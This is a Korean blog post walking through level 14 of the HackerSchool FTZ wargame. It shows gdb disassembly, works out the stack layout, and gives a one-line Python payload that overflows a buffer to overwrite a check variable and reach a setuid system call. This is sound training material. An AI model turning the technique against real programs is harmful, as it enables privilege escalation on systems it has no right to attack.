ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 14
    Wargame/HackerSchool FTZ 2019. 1. 22. 09:37

    → 힌트 정보 열람.




    → 버퍼오버플로우 문제로 추측되며, check 변수의 값에 0xdeadbeef 값을 덮어쓰는것을 목표로 한다. 메모리 맵을 그리기 위해, gdb를 이용하여 디버깅한다.


    [level14@ftz tmp]$ gdb -q abc

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x080483b8 <main+0>:    push   ebp

    0x080483b9 <main+1>:    mov    ebp,esp

    0x080483bb <main+3>:    sub    esp,0x38

    0x080483be <main+6>:    and    esp,0xfffffff0

    0x080483c1 <main+9>:    mov    eax,0x0

    0x080483c6 <main+14>:    sub    esp,eax

    0x080483c8 <main+16>:    sub    esp,0x4

    0x080483cb <main+19>:    push   ds:0x80495d0

    0x080483d1 <main+25>:    push   0x2d

    0x080483d3 <main+27>:    lea    eax,[ebp-56]

    0x080483d6 <main+30>:    push   eax

    0x080483d7 <main+31>:    call   0x80482d8 <fgets>

    0x080483dc <main+36>:    add    esp,0x10

    0x080483df <main+39>:    cmp    DWORD PTR [ebp-16],0xdeadbeef

    0x080483e6 <main+46>:    jne    0x804840d <main+85>

    0x080483e8 <main+48>:    sub    esp,0x8

    0x080483eb <main+51>:    push   0xc17

    0x080483f0 <main+56>:    push   0xc17

    0x080483f5 <main+61>:    call   0x80482f8 <setreuid>

    0x080483fa <main+66>:    add    esp,0x10

    0x080483fd <main+69>:    sub    esp,0xc

    0x08048400 <main+72>:    push   0x80484bc

    0x08048405 <main+77>:    call   0x80482c8 <system>

    0x0804840a <main+82>:    add    esp,0x10

    0x0804840d <main+85>:    leave  

    0x0804840e <main+86>:    ret    

    0x0804840f <main+87>:    nop    

    End of assembler dump.

    (gdb)



    → 0x38(56)바이트 만큼 스택 공간을 마련한다. 


    int crop -> 4

    int check -> 4

    char buf[20] -> 20


    → 총 28바이트이므로, 나머지 28바이트를 더미로 생각할 수 있다. 다음엔, 더미의 위치를 예측해야 하는데 어셈블 코드를 살펴보면 알 수 있다.


    0x080483d3 <main+27>:    lea    eax,[ebp-56]

    0x080483d6 <main+30>:    push   eax

    0x080483d7 <main+31>:    call   0x80482d8 <fgets>



    → 위 코드를 살펴보면, fgets 함수가 실행되는데 입력 값이 ebp-56 위치에 저장되는 것을 확인 가능하다.


    → 즉, ebp-56에서 20만큼 buf 변수이니까 ebp-36까지다.


    ebp-56 ~ ebp-36 => buf[20]


    0x080483dc <main+36>:    add    esp,0x10

    0x080483df <main+39>:    cmp    DWORD PTR [ebp-16],0xdeadbeef


    → 위 코드를 살펴보면, ebp-16에서 문자열 0xdeadbeef 값과 비교한다. 즉 check 변수는 ebp-16에서 4바이트인 ebp-12 까지다.


    ebp-16 ~ ebp-12 => int check



    → 그렇다면, buf[20]과 int check 사이의 공간이 더미 값이다.


    ebp-36 ~ ebp-16 => dummy[20]



    → 예상되는 메모리 구조는 아래와 같다.



    → 페이로드에 따라 공격을 수행한다.


    [level14@ftz level14]$ `python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat` | ./attackme


    'Wargame > HackerSchool FTZ' 카테고리의 다른 글

    lvl 16  (0) 2019.01.24
    lvl 15  (0) 2019.01.23
    lvl 13  (0) 2019.01.17
    lvl 12  (0) 2019.01.15
    lvl 11  (0) 2019.01.13

    댓글

Designed by Tistory.